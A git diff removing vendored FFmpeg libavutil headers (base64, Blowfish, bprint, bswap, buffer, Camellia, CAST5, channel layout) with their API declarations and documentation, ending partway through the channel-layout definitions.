-/** - * @defgroup lavu Common utility functions - * - * @brief - * libavutil contains the code shared across all the other FFmpeg - * libraries - * - * @note In order to use the functions provided by avutil you must include - * the specific header. - * - * @{ - * - * @defgroup lavu_crypto Crypto and Hashing - * - * @{ - * @} - * - * @defgroup lavu_math Maths - * @{ - * - * @} - * - * @defgroup lavu_string String Manipulation - * - * @{ - * - * @} - * - * @defgroup lavu_mem Memory Management - * - * @{ - * - * @} - * - * @defgroup lavu_data Data Structures - * @{ - * - * @} - * - * @defgroup lavu_audio Audio related - * - * @{ - * - * @} - * - * @defgroup lavu_error Error Codes - * - * @{ - * - * @} - * - * @defgroup lavu_log Logging Facility - * - * @{ - * - * @} - * - * @defgroup lavu_misc Other - * - * @{ - * - * @defgroup preproc_misc Preprocessor String Macros - * - * @{ - * - * @} - * - * @defgroup version_utils Library Version Macros - * - * @{ - * - * @} - */ - - -/** - * @addtogroup lavu_ver - * @{ - */ - -/** - * Return the LIBAVUTIL_VERSION_INT constant. - */ -unsigned avutil_version(void); - -/** - * Return an informative version string. This usually is the actual release - * version number or a git commit description. This string has no fixed format - * and can change any time. It should never be parsed by code. - */ -const char *av_version_info(void); - -/** - * Return the libavutil build-time configuration. - */ -const char *avutil_configuration(void); - -/** - * Return the libavutil license. - */ -const char *avutil_license(void); - -/** - * @} - */ - -/** - * @addtogroup lavu_media Media Type - * @brief Media Type - */ - -enum AVMediaType { - AVMEDIA_TYPE_UNKNOWN = -1, ///< Usually treated as AVMEDIA_TYPE_DATA - AVMEDIA_TYPE_VIDEO, - AVMEDIA_TYPE_AUDIO, - AVMEDIA_TYPE_DATA, ///< Opaque data information usually continuous - AVMEDIA_TYPE_SUBTITLE, - AVMEDIA_TYPE_ATTACHMENT, ///< Opaque data information usually sparse - AVMEDIA_TYPE_NB -}; - -/** - * Return a string describing the media_type enum, NULL if media_type - * is unknown. - */ -const char *av_get_media_type_string(enum AVMediaType media_type); - -/** - * @defgroup lavu_const Constants - * @{ - * - * @defgroup lavu_enc Encoding specific - * - * @note those definition should move to avcodec - * @{ - */ - -#define FF_LAMBDA_SHIFT 7 -#define FF_LAMBDA_SCALE (1< - -/** - * @defgroup lavu_base64 Base64 - * @ingroup lavu_crypto - * @{ - */ - - -/** - * Decode a base64-encoded string. - * - * @param out buffer for decoded data - * @param in null-terminated input string - * @param out_size size in bytes of the out buffer, must be at - * least 3/4 of the length of in - * @return number of bytes written, or a negative value in case of - * invalid input - */ -int av_base64_decode(uint8_t *out, const char *in, int out_size); - -/** - * Encode data to base64 and null-terminate. - * - * @param out buffer for encoded data - * @param out_size size in bytes of the out buffer (including the - * null terminator), must be at least AV_BASE64_SIZE(in_size) - * @param in input buffer containing the data to encode - * @param in_size size in bytes of the in buffer - * @return out or NULL in case of error - */ -char *av_base64_encode(char *out, int out_size, const uint8_t *in, int in_size); - -/** - * Calculate the output size needed to base64-encode x bytes to a - * null-terminated string. - */ -#define AV_BASE64_SIZE(x) (((x)+2) / 3 * 4 + 1) - - /** - * @} - */ - -#endif /* AVUTIL_BASE64_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/blowfish.h b/desktop_3230/FFmpeg/include/libavutil/blowfish.h deleted file mode 100644 index 9e289a4..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/blowfish.h +++ /dev/null @@ -1,82 +0,0 @@ -/* - * Blowfish algorithm - * Copyright (c) 2012 Samuel Pitoiset - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_BLOWFISH_H -#define AVUTIL_BLOWFISH_H - -#include - -/** - * @defgroup lavu_blowfish Blowfish - * @ingroup lavu_crypto - * @{ - */ - -#define AV_BF_ROUNDS 16 - -typedef struct AVBlowfish { - uint32_t p[AV_BF_ROUNDS + 2]; - uint32_t s[4][256]; -} AVBlowfish; - -/** - * Allocate an AVBlowfish context. - */ -AVBlowfish *av_blowfish_alloc(void); - -/** - * Initialize an AVBlowfish context. - * - * @param ctx an AVBlowfish context - * @param key a key - * @param key_len length of the key - */ -void av_blowfish_init(struct AVBlowfish *ctx, const uint8_t *key, int key_len); - -/** - * Encrypt or decrypt a buffer using a previously initialized context. - * - * @param ctx an AVBlowfish context - * @param xl left four bytes halves of input to be encrypted - * @param xr right four bytes halves of input to be encrypted - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_blowfish_crypt_ecb(struct AVBlowfish *ctx, uint32_t *xl, uint32_t *xr, - int decrypt); - -/** - * Encrypt or decrypt a buffer using a previously initialized context. - * - * @param ctx an AVBlowfish context - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst - * @param count number of 8 byte blocks - * @param iv initialization vector for CBC mode, if NULL ECB will be used - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_blowfish_crypt(struct AVBlowfish *ctx, uint8_t *dst, const uint8_t *src, - int count, uint8_t *iv, int decrypt); - -/** - * @} - */ - -#endif /* AVUTIL_BLOWFISH_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/bprint.h b/desktop_3230/FFmpeg/include/libavutil/bprint.h deleted file mode 100644 index c09b1ac..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/bprint.h +++ /dev/null @@ -1,219 +0,0 @@ -/* - * Copyright (c) 2012 Nicolas George - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_BPRINT_H -#define AVUTIL_BPRINT_H - -#include - -#include "attributes.h" -#include "avstring.h" - -/** - * Define a structure with extra padding to a fixed size - * This helps ensuring binary compatibility with future versions. - */ - -#define FF_PAD_STRUCTURE(name, size, ...) \ -struct ff_pad_helper_##name { __VA_ARGS__ }; \ -typedef struct name { \ - __VA_ARGS__ \ - char reserved_padding[size - sizeof(struct ff_pad_helper_##name)]; \ -} name; - -/** - * Buffer to print data progressively - * - * The string buffer grows as necessary and is always 0-terminated. - * The content of the string is never accessed, and thus is - * encoding-agnostic and can even hold binary data. - * - * Small buffers are kept in the structure itself, and thus require no - * memory allocation at all (unless the contents of the buffer is needed - * after the structure goes out of scope). This is almost as lightweight as - * declaring a local "char buf[512]". - * - * The length of the string can go beyond the allocated size: the buffer is - * then truncated, but the functions still keep account of the actual total - * length. - * - * In other words, buf->len can be greater than buf->size and records the - * total length of what would have been to the buffer if there had been - * enough memory. - * - * Append operations do not need to be tested for failure: if a memory - * allocation fails, data stop being appended to the buffer, but the length - * is still updated. This situation can be tested with - * av_bprint_is_complete(). - * - * The size_max field determines several possible behaviours: - * - * size_max = -1 (= UINT_MAX) or any large value will let the buffer be - * reallocated as necessary, with an amortized linear cost. - * - * size_max = 0 prevents writing anything to the buffer: only the total - * length is computed. The write operations can then possibly be repeated in - * a buffer with exactly the necessary size - * (using size_init = size_max = len + 1). - * - * size_max = 1 is automatically replaced by the exact size available in the - * structure itself, thus ensuring no dynamic memory allocation. The - * internal buffer is large enough to hold a reasonable paragraph of text, - * such as the current paragraph. - */ - -FF_PAD_STRUCTURE(AVBPrint, 1024, - char *str; /**< string so far */ - unsigned len; /**< length so far */ - unsigned size; /**< allocated memory */ - unsigned size_max; /**< maximum allocated memory */ - char reserved_internal_buffer[1]; -) - -/** - * Convenience macros for special values for av_bprint_init() size_max - * parameter. - */ -#define AV_BPRINT_SIZE_UNLIMITED ((unsigned)-1) -#define AV_BPRINT_SIZE_AUTOMATIC 1 -#define AV_BPRINT_SIZE_COUNT_ONLY 0 - -/** - * Init a print buffer. - * - * @param buf buffer to init - * @param size_init initial size (including the final 0) - * @param size_max maximum size; - * 0 means do not write anything, just count the length; - * 1 is replaced by the maximum value for automatic storage; - * any large value means that the internal buffer will be - * reallocated as needed up to that limit; -1 is converted to - * UINT_MAX, the largest limit possible. - * Check also AV_BPRINT_SIZE_* macros. - */ -void av_bprint_init(AVBPrint *buf, unsigned size_init, unsigned size_max); - -/** - * Init a print buffer using a pre-existing buffer. - * - * The buffer will not be reallocated. - * - * @param buf buffer structure to init - * @param buffer byte buffer to use for the string data - * @param size size of buffer - */ -void av_bprint_init_for_buffer(AVBPrint *buf, char *buffer, unsigned size); - -/** - * Append a formatted string to a print buffer. - */ -void av_bprintf(AVBPrint *buf, const char *fmt, ...) av_printf_format(2, 3); - -/** - * Append a formatted string to a print buffer. - */ -void av_vbprintf(AVBPrint *buf, const char *fmt, va_list vl_arg); - -/** - * Append char c n times to a print buffer. - */ -void av_bprint_chars(AVBPrint *buf, char c, unsigned n); - -/** - * Append data to a print buffer. - * - * param buf bprint buffer to use - * param data pointer to data - * param size size of data - */ -void av_bprint_append_data(AVBPrint *buf, const char *data, unsigned size); - -struct tm; -/** - * Append a formatted date and time to a print buffer. - * - * param buf bprint buffer to use - * param fmt date and time format string, see strftime() - * param tm broken-down time structure to translate - * - * @note due to poor design of the standard strftime function, it may - * produce poor results if the format string expands to a very long text and - * the bprint buffer is near the limit stated by the size_max option. - */ -void av_bprint_strftime(AVBPrint *buf, const char *fmt, const struct tm *tm); - -/** - * Allocate bytes in the buffer for external use. - * - * @param[in] buf buffer structure - * @param[in] size required size - * @param[out] mem pointer to the memory area - * @param[out] actual_size size of the memory area after allocation; - * can be larger or smaller than size - */ -void av_bprint_get_buffer(AVBPrint *buf, unsigned size, - unsigned char **mem, unsigned *actual_size); - -/** - * Reset the string to "" but keep internal allocated data. - */ -void av_bprint_clear(AVBPrint *buf); - -/** - * Test if the print buffer is complete (not truncated). - * - * It may have been truncated due to a memory allocation failure - * or the size_max limit (compare size and size_max if necessary). - */ -static inline int av_bprint_is_complete(const AVBPrint *buf) -{ - return buf->len < buf->size; -} - -/** - * Finalize a print buffer. - * - * The print buffer can no longer be used afterwards, - * but the len and size fields are still valid. - * - * @arg[out] ret_str if not NULL, used to return a permanent copy of the - * buffer contents, or NULL if memory allocation fails; - * if NULL, the buffer is discarded and freed - * @return 0 for success or error code (probably AVERROR(ENOMEM)) - */ -int av_bprint_finalize(AVBPrint *buf, char **ret_str); - -/** - * Escape the content in src and append it to dstbuf. - * - * @param dstbuf already inited destination bprint buffer - * @param src string containing the text to escape - * @param special_chars string containing the special characters which - * need to be escaped, can be NULL - * @param mode escape mode to employ, see AV_ESCAPE_MODE_* macros. - * Any unknown value for mode will be considered equivalent to - * AV_ESCAPE_MODE_BACKSLASH, but this behaviour can change without - * notice. - * @param flags flags which control how to escape, see AV_ESCAPE_FLAG_* macros - */ -void av_bprint_escape(AVBPrint *dstbuf, const char *src, const char *special_chars, - enum AVEscapeMode mode, int flags); - -#endif /* AVUTIL_BPRINT_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/bswap.h b/desktop_3230/FFmpeg/include/libavutil/bswap.h deleted file mode 100644 index 91cb795..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/bswap.h +++ /dev/null @@ -1,109 +0,0 @@ -/* - * copyright (c) 2006 Michael Niedermayer - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * byte swapping routines - */ - -#ifndef AVUTIL_BSWAP_H -#define AVUTIL_BSWAP_H - -#include -#include "libavutil/avconfig.h" -#include "attributes.h" - -#ifdef HAVE_AV_CONFIG_H - -#include "config.h" - -#if ARCH_AARCH64 -# include "aarch64/bswap.h" -#elif ARCH_ARM -# include "arm/bswap.h" -#elif ARCH_AVR32 -# include "avr32/bswap.h" -#elif ARCH_SH4 -# include "sh4/bswap.h" -#elif ARCH_X86 -# include "x86/bswap.h" -#endif - -#endif /* HAVE_AV_CONFIG_H */ - -#define AV_BSWAP16C(x) (((x) << 8 & 0xff00) | ((x) >> 8 & 0x00ff)) -#define AV_BSWAP32C(x) (AV_BSWAP16C(x) << 16 | AV_BSWAP16C((x) >> 16)) -#define AV_BSWAP64C(x) (AV_BSWAP32C(x) << 32 | AV_BSWAP32C((x) >> 32)) - -#define AV_BSWAPC(s, x) AV_BSWAP##s##C(x) - -#ifndef av_bswap16 -static av_always_inline av_const uint16_t av_bswap16(uint16_t x) -{ - x= (x>>8) | (x<<8); - return x; -} -#endif - -#ifndef av_bswap32 -static av_always_inline av_const uint32_t av_bswap32(uint32_t x) -{ - return AV_BSWAP32C(x); -} -#endif - -#ifndef av_bswap64 -static inline uint64_t av_const av_bswap64(uint64_t x) -{ - return (uint64_t)av_bswap32(x) << 32 | av_bswap32(x >> 32); -} -#endif - -// be2ne ... big-endian to native-endian -// le2ne ... little-endian to native-endian - -#if AV_HAVE_BIGENDIAN -#define av_be2ne16(x) (x) -#define av_be2ne32(x) (x) -#define av_be2ne64(x) (x) -#define av_le2ne16(x) av_bswap16(x) -#define av_le2ne32(x) av_bswap32(x) -#define av_le2ne64(x) av_bswap64(x) -#define AV_BE2NEC(s, x) (x) -#define AV_LE2NEC(s, x) AV_BSWAPC(s, x) -#else -#define av_be2ne16(x) av_bswap16(x) -#define av_be2ne32(x) av_bswap32(x) -#define av_be2ne64(x) av_bswap64(x) -#define av_le2ne16(x) (x) -#define av_le2ne32(x) (x) -#define av_le2ne64(x) (x) -#define AV_BE2NEC(s, x) AV_BSWAPC(s, x) -#define AV_LE2NEC(s, x) (x) -#endif - -#define AV_BE2NE16C(x) AV_BE2NEC(16, x) -#define AV_BE2NE32C(x) AV_BE2NEC(32, x) -#define AV_BE2NE64C(x) AV_BE2NEC(64, x) -#define AV_LE2NE16C(x) AV_LE2NEC(16, x) -#define AV_LE2NE32C(x) AV_LE2NEC(32, x) -#define AV_LE2NE64C(x) AV_LE2NEC(64, x) - -#endif /* AVUTIL_BSWAP_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/buffer.h b/desktop_3230/FFmpeg/include/libavutil/buffer.h deleted file mode 100644 index b4399fd..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/buffer.h +++ /dev/null @@ -1,274 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -/** - * @file - * @ingroup lavu_buffer - * refcounted data buffer API - */ - -#ifndef AVUTIL_BUFFER_H -#define AVUTIL_BUFFER_H - -#include - -/** - * @defgroup lavu_buffer AVBuffer - * @ingroup lavu_data - * - * @{ - * AVBuffer is an API for reference-counted data buffers. - * - * There are two core objects in this API -- AVBuffer and AVBufferRef. AVBuffer - * represents the data buffer itself; it is opaque and not meant to be accessed - * by the caller directly, but only through AVBufferRef. However, the caller may - * e.g. compare two AVBuffer pointers to check whether two different references - * are describing the same data buffer. AVBufferRef represents a single - * reference to an AVBuffer and it is the object that may be manipulated by the - * caller directly. - * - * There are two functions provided for creating a new AVBuffer with a single - * reference -- av_buffer_alloc() to just allocate a new buffer, and - * av_buffer_create() to wrap an existing array in an AVBuffer. From an existing - * reference, additional references may be created with av_buffer_ref(). - * Use av_buffer_unref() to free a reference (this will automatically free the - * data once all the references are freed). - * - * The convention throughout this API and the rest of FFmpeg is such that the - * buffer is considered writable if there exists only one reference to it (and - * it has not been marked as read-only). The av_buffer_is_writable() function is - * provided to check whether this is true and av_buffer_make_writable() will - * automatically create a new writable buffer when necessary. - * Of course nothing prevents the calling code from violating this convention, - * however that is safe only when all the existing references are under its - * control. - * - * @note Referencing and unreferencing the buffers is thread-safe and thus - * may be done from multiple threads simultaneously without any need for - * additional locking. - * - * @note Two different references to the same buffer can point to different - * parts of the buffer (i.e. their AVBufferRef.data will not be equal). - */ - -/** - * A reference counted buffer type. It is opaque and is meant to be used through - * references (AVBufferRef). - */ -typedef struct AVBuffer AVBuffer; - -/** - * A reference to a data buffer. - * - * The size of this struct is not a part of the public ABI and it is not meant - * to be allocated directly. - */ -typedef struct AVBufferRef { - AVBuffer *buffer; - - /** - * The data buffer. It is considered writable if and only if - * this is the only reference to the buffer, in which case - * av_buffer_is_writable() returns 1. - */ - uint8_t *data; - /** - * Size of data in bytes. - */ - int size; -} AVBufferRef; - -/** - * Allocate an AVBuffer of the given size using av_malloc(). - * - * @return an AVBufferRef of given size or NULL when out of memory - */ -AVBufferRef *av_buffer_alloc(int size); - -/** - * Same as av_buffer_alloc(), except the returned buffer will be initialized - * to zero. - */ -AVBufferRef *av_buffer_allocz(int size); - -/** - * Always treat the buffer as read-only, even when it has only one - * reference. - */ -#define AV_BUFFER_FLAG_READONLY (1 << 0) - -/** - * Create an AVBuffer from an existing array. - * - * If this function is successful, data is owned by the AVBuffer. The caller may - * only access data through the returned AVBufferRef and references derived from - * it. - * If this function fails, data is left untouched. - * @param data data array - * @param size size of data in bytes - * @param free a callback for freeing this buffer's data - * @param opaque parameter to be got for processing or passed to free - * @param flags a combination of AV_BUFFER_FLAG_* - * - * @return an AVBufferRef referring to data on success, NULL on failure. - */ -AVBufferRef *av_buffer_create(uint8_t *data, int size, - void (*free)(void *opaque, uint8_t *data), - void *opaque, int flags); - -/** - * Default free callback, which calls av_free() on the buffer data. - * This function is meant to be passed to av_buffer_create(), not called - * directly. - */ -void av_buffer_default_free(void *opaque, uint8_t *data); - -/** - * Create a new reference to an AVBuffer. - * - * @return a new AVBufferRef referring to the same AVBuffer as buf or NULL on - * failure. - */ -AVBufferRef *av_buffer_ref(AVBufferRef *buf); - -/** - * Free a given reference and automatically free the buffer if there are no more - * references to it. - * - * @param buf the reference to be freed. The pointer is set to NULL on return. - */ -void av_buffer_unref(AVBufferRef **buf); - -/** - * @return 1 if the caller may write to the data referred to by buf (which is - * true if and only if buf is the only reference to the underlying AVBuffer). - * Return 0 otherwise. - * A positive answer is valid until av_buffer_ref() is called on buf. - */ -int av_buffer_is_writable(const AVBufferRef *buf); - -/** - * @return the opaque parameter set by av_buffer_create. - */ -void *av_buffer_get_opaque(const AVBufferRef *buf); - -int av_buffer_get_ref_count(const AVBufferRef *buf); - -/** - * Create a writable reference from a given buffer reference, avoiding data copy - * if possible. - * - * @param buf buffer reference to make writable. On success, buf is either left - * untouched, or it is unreferenced and a new writable AVBufferRef is - * written in its place. On failure, buf is left untouched. - * @return 0 on success, a negative AVERROR on failure. - */ -int av_buffer_make_writable(AVBufferRef **buf); - -/** - * Reallocate a given buffer. - * - * @param buf a buffer reference to reallocate. On success, buf will be - * unreferenced and a new reference with the required size will be - * written in its place. On failure buf will be left untouched. *buf - * may be NULL, then a new buffer is allocated. - * @param size required new buffer size. - * @return 0 on success, a negative AVERROR on failure. - * - * @note the buffer is actually reallocated with av_realloc() only if it was - * initially allocated through av_buffer_realloc(NULL) and there is only one - * reference to it (i.e. the one passed to this function). In all other cases - * a new buffer is allocated and the data is copied. - */ -int av_buffer_realloc(AVBufferRef **buf, int size); - -/** - * @} - */ - -/** - * @defgroup lavu_bufferpool AVBufferPool - * @ingroup lavu_data - * - * @{ - * AVBufferPool is an API for a lock-free thread-safe pool of AVBuffers. - * - * Frequently allocating and freeing large buffers may be slow. AVBufferPool is - * meant to solve this in cases when the caller needs a set of buffers of the - * same size (the most obvious use case being buffers for raw video or audio - * frames). - * - * At the beginning, the user must call av_buffer_pool_init() to create the - * buffer pool. Then whenever a buffer is needed, call av_buffer_pool_get() to - * get a reference to a new buffer, similar to av_buffer_alloc(). This new - * reference works in all aspects the same way as the one created by - * av_buffer_alloc(). However, when the last reference to this buffer is - * unreferenced, it is returned to the pool instead of being freed and will be - * reused for subsequent av_buffer_pool_get() calls. - * - * When the caller is done with the pool and no longer needs to allocate any new - * buffers, av_buffer_pool_uninit() must be called to mark the pool as freeable. - * Once all the buffers are released, it will automatically be freed. - * - * Allocating and releasing buffers with this API is thread-safe as long as - * either the default alloc callback is used, or the user-supplied one is - * thread-safe. - */ - -/** - * The buffer pool. This structure is opaque and not meant to be accessed - * directly. It is allocated with av_buffer_pool_init() and freed with - * av_buffer_pool_uninit(). - */ -typedef struct AVBufferPool AVBufferPool; - -/** - * Allocate and initialize a buffer pool. - * - * @param size size of each buffer in this pool - * @param alloc a function that will be used to allocate new buffers when the - * pool is empty. May be NULL, then the default allocator will be used - * (av_buffer_alloc()). - * @return newly created buffer pool on success, NULL on error. - */ -AVBufferPool *av_buffer_pool_init(int size, AVBufferRef* (*alloc)(int size)); - -/** - * Mark the pool as being available for freeing. It will actually be freed only - * once all the allocated buffers associated with the pool are released. Thus it - * is safe to call this function while some of the allocated buffers are still - * in use. - * - * @param pool pointer to the pool to be freed. It will be set to NULL. - * @see av_buffer_pool_can_uninit() - */ -void av_buffer_pool_uninit(AVBufferPool **pool); - -/** - * Allocate a new AVBuffer, reusing an old buffer from the pool when available. - * This function may be called simultaneously from multiple threads. - * - * @return a reference to the new buffer on success, NULL on error. - */ -AVBufferRef *av_buffer_pool_get(AVBufferPool *pool); - -/** - * @} - */ - -#endif /* AVUTIL_BUFFER_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/camellia.h b/desktop_3230/FFmpeg/include/libavutil/camellia.h deleted file mode 100644 index e674c9b..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/camellia.h +++ /dev/null @@ -1,70 +0,0 @@ -/* - * An implementation of the CAMELLIA algorithm as mentioned in RFC3713 - * Copyright (c) 2014 Supraja Meedinti - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_CAMELLIA_H -#define AVUTIL_CAMELLIA_H - -#include - - -/** - * @file - * @brief Public header for libavutil CAMELLIA algorithm - * @defgroup lavu_camellia CAMELLIA - * @ingroup lavu_crypto - * @{ - */ - -extern const int av_camellia_size; - -struct AVCAMELLIA; - -/** - * Allocate an AVCAMELLIA context - * To free the struct: av_free(ptr) - */ -struct AVCAMELLIA *av_camellia_alloc(void); - -/** - * Initialize an AVCAMELLIA context. - * - * @param ctx an AVCAMELLIA context - * @param key a key of 16, 24, 32 bytes used for encryption/decryption - * @param key_bits number of keybits: possible are 128, 192, 256 - */ -int av_camellia_init(struct AVCAMELLIA *ctx, const uint8_t *key, int key_bits); - -/** - * Encrypt or decrypt a buffer using a previously initialized context - * - * @param ctx an AVCAMELLIA context - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst - * @param count number of 16 byte blocks - * @paran iv initialization vector for CBC mode, NULL for ECB mode - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_camellia_crypt(struct AVCAMELLIA *ctx, uint8_t *dst, const uint8_t *src, int count, uint8_t* iv, int decrypt); - -/** - * @} - */ -#endif /* AVUTIL_CAMELLIA_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/cast5.h b/desktop_3230/FFmpeg/include/libavutil/cast5.h deleted file mode 100644 index ad5b347..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/cast5.h +++ /dev/null @@ -1,80 +0,0 @@ -/* - * An implementation of the CAST128 algorithm as mentioned in RFC2144 - * Copyright (c) 2014 Supraja Meedinti - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_CAST5_H -#define AVUTIL_CAST5_H - -#include - - -/** - * @file - * @brief Public header for libavutil CAST5 algorithm - * @defgroup lavu_cast5 CAST5 - * @ingroup lavu_crypto - * @{ - */ - -extern const int av_cast5_size; - -struct AVCAST5; - -/** - * Allocate an AVCAST5 context - * To free the struct: av_free(ptr) - */ -struct AVCAST5 *av_cast5_alloc(void); -/** - * Initialize an AVCAST5 context. - * - * @param ctx an AVCAST5 context - * @param key a key of 5,6,...16 bytes used for encryption/decryption - * @param key_bits number of keybits: possible are 40,48,...,128 - * @return 0 on success, less than 0 on failure - */ -int av_cast5_init(struct AVCAST5 *ctx, const uint8_t *key, int key_bits); - -/** - * Encrypt or decrypt a buffer using a previously initialized context, ECB mode only - * - * @param ctx an AVCAST5 context - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst - * @param count number of 8 byte blocks - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_cast5_crypt(struct AVCAST5 *ctx, uint8_t *dst, const uint8_t *src, int count, int decrypt); - -/** - * Encrypt or decrypt a buffer using a previously initialized context - * - * @param ctx an AVCAST5 context - * @param dst destination array, can be equal to src - * @param src source array, can be equal to dst - * @param count number of 8 byte blocks - * @param iv initialization vector for CBC mode, NULL for ECB mode - * @param decrypt 0 for encryption, 1 for decryption - */ -void av_cast5_crypt2(struct AVCAST5 *ctx, uint8_t *dst, const uint8_t *src, int count, uint8_t *iv, int decrypt); -/** - * @} - */ -#endif /* AVUTIL_CAST5_H */ diff --git a/desktop_3230/FFmpeg/include/libavutil/channel_layout.h b/desktop_3230/FFmpeg/include/libavutil/channel_layout.h deleted file mode 100644 index ec7effe..0000000 --- a/desktop_3230/FFmpeg/include/libavutil/channel_layout.h +++ /dev/null @@ -1,223 +0,0 @@ -/* - * Copyright (c) 2006 Michael Niedermayer - * Copyright (c) 2008 Peter Ross - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVUTIL_CHANNEL_LAYOUT_H -#define AVUTIL_CHANNEL_LAYOUT_H - -#include - -/** - * @file - * audio channel layout utility functions - */ - -/** - * @addtogroup lavu_audio - * @{ - */ - -/** - * @defgroup channel_masks Audio channel masks - * - * A channel layout is a 64-bits integer with a bit set for every channel. - * The number of bits set must be equal to the number of channels. - * The value 0 means that the channel layout is not known. - * @note this data structure is not powerful enough to handle channels - * combinations that have the same channel multiple times, such as - * dual-mono. - * - * @{ - */ -#define AV_CH_FRONT_LEFT 0x00000001 -#define AV_CH_FRONT_RIGHT 0x00000002 -#define AV_CH_FRONT_CENTER 0x00000004 -#define AV_CH_LOW_FREQUENCY 0x00000008 -#define AV_CH_BACK_LEFT 0x00000010 -#define AV_CH_BACK_RIGHT 0x00000020 -#define AV_CH_FRONT_LEFT_OF_CENTER 0x00000040 -#define AV_CH_FRONT_RIGHT_OF_CENTER 0x00000080 -#define AV_CH_BACK_CENTER 0x00000100 -#define AV_CH_SIDE_LEFT 0x00000200 -#define AV_CH_SIDE_RIGHT 0x00000400 -#define AV_CH_TOP_CENTER 0x00000800 -#define AV_CH_TOP_FRONT_LEFT 0x00001000 -#define AV_CH_TOP_FRONT_CENTER 0x00002000 -#define AV_CH_TOP_FRONT_RIGHT 0x00004000 -#define AV_CH_TOP_BACK_LEFT 0x00008000 -#define AV_CH_TOP_BACK_CENTER 0x00010000 -#define AV_CH_TOP_BACK_RIGHT 0x00020000 -#define AV_CH_STEREO_LEFT 0x20000000 ///< Stereo 